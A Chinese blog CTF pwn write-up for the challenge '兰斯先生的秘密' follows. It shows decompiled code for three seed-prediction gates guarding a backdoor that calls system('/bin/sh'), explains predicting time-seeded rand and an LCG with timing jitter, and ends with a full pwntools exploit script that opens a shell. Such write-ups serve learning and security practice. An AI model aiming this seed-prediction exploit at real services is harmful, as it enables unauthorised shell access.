平凡挂壁路人一枚

公告

随缘更新不定内容，敬请期待！！！

Learn More

1242 words

6 minutes

2026第一周wp

2026-09-11

wp

pwn

/

wp

写在前面#

等一下就要回家了，所以今天大概率就更一篇吧，还有这个食蜂好好看

兰斯先生的秘密#

1
RELRO:      Full RELRO
2
Stack:      Canary found
3
NX:         NX enabled
4
PIE:        PIE enabled
5
SHSTK:      Enabled
6
IBT:        Enabled
7
Stripped:   No

有canary+PIE,要泄露这俩

看main函数逻辑

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned int v3; // eax
4
  unsigned int v5; // [rsp+Ch] [rbp-4h]
5

6
  init(argc, argv, envp);
7
  puts("Do you want to know srand's secret?");
8
  puts("You have to enter 3 gates which tests your abilities!");
9
  puts("But the key is *predict*. I guess no one can solve them. Hiahia!");
10
  v3 = gate1();
11
  v5 = gate2(v3);
12
  gate3(v5);
13
  puts("All gates passed!");
14
  b4ckdo0r();
15
  return 0;
16
}

很直白啊，过了三关就给后门

第一关

1
__int64 gate1()
2
{
3
  int v1; // [rsp+Ch] [rbp-14h] BYREF
4
  unsigned int seed; // [rsp+10h] [rbp-10h]
5
  int v3; // [rsp+14h] [rbp-Ch]
6
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
7

8
  v4 = __readfsqword(0x28u);
9
  puts("==============================");
10
  puts("Gate 1: Predict TIME");
11
  puts("==============================");
12
  seed = time(0);
13
  srand(seed);
14
  v3 = rand();
15
  printf("Password:");
16
  __isoc99_scanf("%u", &v1);
17
  if ( v3 != v1 )
18
  {
19
    puts("You can't predict the time easily!");
20
    exit(0);
21
  }
22
  puts("You've beaten the time and become a stronger self!");
23
  return seed;
24
}

时间管理大师，造一个伪随机应该可以结束战斗

1
__int64 __fastcall gate2(unsigned int a1)
2
{
3
  int v2; // [rsp+1Ch] [rbp-14h] BYREF
4
  unsigned int v3; // [rsp+20h] [rbp-10h]
5
  int i; // [rsp+24h] [rbp-Ch]
6
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
7

8
  v5 = __readfsqword(0x28u);
9
  puts("==============================");
10
  puts("Gate 2: Predict calculation");
11
  puts("==============================");
12
  v3 = a1;
13
  for ( i = 0; i <= 114513; ++i )
14
    v3 = lcg(v3);
15
  printf("Password:");
16
  __isoc99_scanf("%u", &v2);
17
  if ( v3 != v2 )
18
  {
19
    puts("Well, it seems you don't know... Maybe you can learn about LCG?");
20
    exit(0);
21
  }
22
  puts("Good job! That's one of the ways how random number works.");
23
  return v3;
24
}

第一轮的seed传递到第二轮，进行114514次lcg

然后输入比较，最后把处理后的值传递出来

第三轮则是

1
__int64 __fastcall gate3(unsigned int a1)
2
{
3
  int v2; // [rsp+18h] [rbp-18h] BYREF
4
  int v3; // [rsp+1Ch] [rbp-14h]
5
  int v4; // [rsp+20h] [rbp-10h]
6
  unsigned int v5; // [rsp+24h] [rbp-Ch]
7
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]
8

9
  v6 = __readfsqword(0x28u);
10
  puts("==============================");
11
  puts("Gate 3: Predict unknown");
12
  puts("==============================");
13
  srand(a1);
14
  v3 = rand();
15
  v4 = rand();
16
  v5 = rand();
17
  printf("First random number:%u\n", v3);
18
  printf("Second random number:%u\n", v4);
19
  printf("Your answer:");
20
  __isoc99_scanf("%u", &v2);
21
  if ( v5 != v2 )
22
  {
23
    puts("Haha...It's random, how can you predict it?");
24
    exit(0);
25
  }
26
  puts("Wow, random number is in fact not random,right?");
27
  return v5;
28
}

已处理后的值作为基准及逆行三次随机，然后比较产生的最后一个随机数成功就能结束战斗了

1
int b4ckdo0r()
2
{
3
  puts("Genius!");
4
  puts("You defeated all random gates! Here is your bonus:");
5
  return system("/bin/sh");
6
}

很朴实的后门

~~扣了半小时手机我决定继续战斗~~

程序启动时的 time(0) 通常与攻击者当前时间非常接近（网络延迟一般 0~3 秒）。因此可以枚举当前时间前后几秒作为候选种子：
1
current = int(time.time())
2
for delta in range(-5, 6):   # 尝试 ±5 秒
3
   seed = current + delta
4
   # 用这个种子生成随机数

那怎么自己造一个随机数呢

ctypes 调用 libc 的 srand/rand

libc直接用我自己的得了

然后是lcg的问题

1
def lcg(a1):
2
    return (1103515245 * a1 + 12345) & 0x7FFFFFFF

标准的我直接照抄就好了

ok，现在陈述一下大致的攻击思路

第一阶段直接用time(0)直接生成的rand作为校验，第二轮把第一轮生成的数字进行114514次lcg，第三轮再生成三个随机数，取第三个校验即可

抖动机制讲解

程序用 seed = time(0); srand(seed); 生成随机数。 time(0) 返回的是秒级时间戳。你在本地脚本中获取的 current = int(time.time()) 和远程程序实际执行 time(0) 的时刻，可能不在同一秒内，原因包括：

网络延迟：你发送连接、数据到达服务器、服务器启动程序都需要时间。

服务器处理时间：程序初始化、等待输入等消耗时间。

时钟偏差：本地与服务器系统时钟可能有微小差异。

时区无关：time(0) 返回 UTC 时间戳，但本地时钟若不准也会影响。

因此，远程程序实际使用的种子可能是 current - 2、current - 1、current、current + 1、current + 2 中的某一个。枚举 range(-2, 3) 就是覆盖这 5 个可能的种子。

1
for delta in range(-2, 3):
2
    seed = current + delta          # 猜测种子
3
    ans1 = predict_gate1(seed)      # 用该种子预测 Gate1 需要的随机数
4
    p.recvuntil(b'Password:')       # 等待提示
5
    p.sendline(str(ans1).encode())  # 发送预测值
6
    resp = p.recvline()             # 读取响应
7
    if b'beaten' in resp or b'stronger' in resp:
8
        seed1 = seed                # 通过，记录正确的种子
9
        break
10
    p.close()                       # 失败，关闭连接
11
    p = start(host, port)           # 重新连接（因为程序失败会退出）

exp(0x7FFFFFFFF防坠机)

1
from pwn import *
2
import ctypes
3
import time
4

5
try:
6
    libc = ctypes.CDLL('./libc.so.6')
7
except OSError:
8
    libc = ctypes.CDLL(None)
9

10
def lcg(a1):
11
    return (1103515245 * a1 + 12345) & 0x7FFFFFFF
12

13
def predict_gate1(seed):
14
    libc.srand(seed)
15
    return libc.rand() & 0x7fffffff
16

17
def predict_gate2(seed):
18
    v = seed
19
    for _ in range(114514):
20
        v = lcg(v)
21
    return v
22

23
def predict_gate3(seed):
24
    libc.srand(seed)
25
    libc.rand()
26
    libc.rand()
27
    return libc.rand() & 0x7fffffff
28

29
def start(host, port):
30
    return remote(host, port) if args.REMOTE else process('./pwn')
31

32
def solve(host, port):
33
    p = start(host, port)
34
    current = int(time.time())
35
    seed1 = None
36

37
    for delta in range(-2, 3):
38
        seed = current + delta
39
        ans1 = predict_gate1(seed)
40
        p.recvuntil(b'Password:')
41
        p.sendline(str(ans1).encode())
42
        resp = p.recvline()
43
        if b'beaten' in resp or b'stronger' in resp:
44
            seed1 = seed
45
            break
46
        p.close()
47
        p = start(host, port)
48

49
    if seed1 is None:
50
        return
51

52
    ans2 = predict_gate2(seed1)
53
    p.recvuntil(b'Password:')
54
    p.sendline(str(ans2).encode())
55
    p.recvline()
56

57
    ans3 = predict_gate3(ans2)
58
    p.recvuntil(b'Your answer:')
59
    p.sendline(str(ans3).encode())
60
    p.recvline()
61

62
    p.interactive()
63

64
if __name__ == '__main__':
65
    solve('127.0.0.1', 57639)